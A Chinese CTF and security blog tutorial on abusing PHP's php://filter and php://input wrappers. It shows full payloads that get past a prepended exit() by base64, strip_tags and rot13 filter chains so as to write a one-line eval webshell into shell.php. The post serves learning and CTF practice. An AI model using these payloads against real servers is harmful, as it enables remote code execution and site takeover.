先来看一道题

BugkuCTF平台的一道题:flag在index里
点进去看url似乎是一道文件包含的题:
Bugku_ctf_flag在这里_1.png

直接包含index.php不会显示任何数据,可使用php://filter进行查看源数据
构造payload:php://filter/read=convert.base64-encode/resource=index.php
然后base64解密就可读取到数据:
Bugku_ctf_flag在这里_2.png

下面进入正题


<?php exit;?>绕过

首先来看下面一段代码:

<?php
$content = '<?php exit; ?>';
$content .= $_POST['txt'];
file_put_contents($_POST['filename'], $content);
highlight_file('shell.php');
?>

这段代码在内容的开头加了exit,所以即使我们写入一句话成功也无法连接。
但是此处的$_POST['filename']可以使用PHP协议流,我们可以通过php://filter来进行绕过

php://filter 是一种元封装器, 设计用于数据流打开时的筛选过滤应用。 这对于一体式(all-in-one)的文件函数非常有用,类似 readfile()、 file() 和 file_get_contents(), 在数据流内容读取之前没有机会应用其他过滤器。

名称描述备注
resource=<要过滤的数据流>它指定了你要筛选过滤的数据流。必选
read=<读链的筛选列表>可以设定一个或多个过滤器名称,以管道符分隔。可选
write=<写链的筛选列表>可以设定一个或多个过滤器名称,以管道符分隔。可选
<;两个链的筛选列表>任何没有以read=或write=作前缀的筛选器列表会视情况应用于读或写链。\

绕过方法1:base64编码与解码

将$content进行base64编码,然后通过php://filter的base64-decode解码进行绕过。

注:
1、在Base64中的可打印字符包括字母A-Z、a-z、数字0-9共有62个字符,加上+、/共64个字符,实际上还有一个字符=来作为后缀
2、Base64编码的思想是是采用64个基本的ASCII码字符对数据进行重新编码。它将需要编码的数据拆分成字节数组。以3个字节为一组。按顺序排列24位数据,再把这24位数据分成4组,即每组6位。再在每组的的最高位前补两个0凑足一个字节。这样就把一个3字节为一组的数据重新编码成了4个字节。当所要编码的数据的字节数不是3的整倍数,也就是说在分组时最后一组不够3个字节。这时在最后一组填充1到2个0字节。并在最后编码完成后在结尾添加1到2个 “=”。
例:
1、字符对应ASCII值为:A(65)、B(66)、C(67)
2、转换为二进制为:A(01000001)、B(01000010)、C(01000011)
3、把二进制拼起来然后按每组6位分为4组:010000|010100|001001|000011
4、然后在每组最高位添加00构成4个字节:00010000|00010100|00001001|00000011
5、将二进制转化为十进制并查询Base64对应的索引表字符为:Q(16)、U(20)、J(9)、D(3)
6、ABC经过Base64编码后为:QUJD
点我查看Base64索引表
Base64_index.png

<?php exit;?>出去<、?、;、>只剩phpexit七个字符,在base64进行解码时是4个byte一组,所以需要在后面添加一个“a”字符,凑个8个字符,这样phpexita会正常解码,不会影响后面插入的一句话。

payload:txt=aPD9waHAgQGV2YWwoJF9QT1NUWycxMjM0NTYnXSk7Pz4=&filename=php://filter/write=convert.base64-decode/resource=shell.php

最后结果如下图:
php_filter.png

绕过方法2:strip_tags()字符串操作函数

下面参考phith0n大佬:谈一谈php://filter的妙用

strip_tags() 函数剥去字符串中的 HTML、XML 以及 PHP 的标签。
注释:该函数始终会剥离 HTML 注释。这点无法通过 allow 参数改变。
注释:该函数是二进制安全的。

<?php exit; ?>的实质就是XML标签,那么他就可以被strip_tags去除,且php://filter是支持这个方法的。

使用测试语句:

<?php
echo readfile('php://filter/read=string.strip_tags/resource=php://input');
?>

php_filter_strip_tags.png

上面结果显示<?php exit;?>被strip_tags成功去除。
如果我们直接这样进行处理的话,我们插入的一句话也会被去除

不过 php://filter是支持使用多个过滤器的,使用|分隔就行了。先使用strip_tags去除“死亡exit”,再使用base64-decode解密一句话。

payload:txt=PD9waHAgQGV2YWwoJF9QT1NUWycxMjM0NTYnXSk7Pz4=&filename=php://filter/write=string.strip_tags|convert.base64-decode/resource=shell.php

最后结果如下图:
php_filter_strip_tags_1.png

绕过方法3:string.rot13

这个是看P牛的,自己尝试了下没成功
过滤器:string.rot13
条件:不开启短标签,即php.inishort_open_tag = Off
POST数据text=<?cuc cucvasb();?>&filename=php://filter/write=string.rot13/resource=shell.php

php://input

<?php
$input=$_GET['input'];
$file=$_GET['file'];
if(isset($input)&&(file_get_contents($input,'r')==="tttttest")){
    echo "True!\n\n";
    include($file);
}else{
    echo "False!";
}
?>

此处的要求是$input存在,且$input==='tttttest',这样才会包含$file

PHP参考手册的解释如下:php://input是个可以访问请求的原始数据的只读流。 POST请求的情况下,最好使用 php://input 来代替 $HTTP_RAW_POST_DATA,因为它不依赖于特定的 php.ini 指令。 而且,这样的情况下 $HTTP_RAW_POST_DATA 默认没有填充, 比激活 always_populate_raw_post_data 潜在需要更少的内存。 enctype="multipart/form-data" 的时候 php://input 是无效的
file_get_contents():函数把整个文件读入一个字符串中。

此处的input必须为数据流,所以这里可构造如下payload读取文件内容:
php_input.png


参考文章:https://www.leavesongs.com/PENETRATION/php-filter-magic.html

Last modification:March 27th, 2020 at 01:43 pm
如果觉得我的文章对你有用,请随意赞赏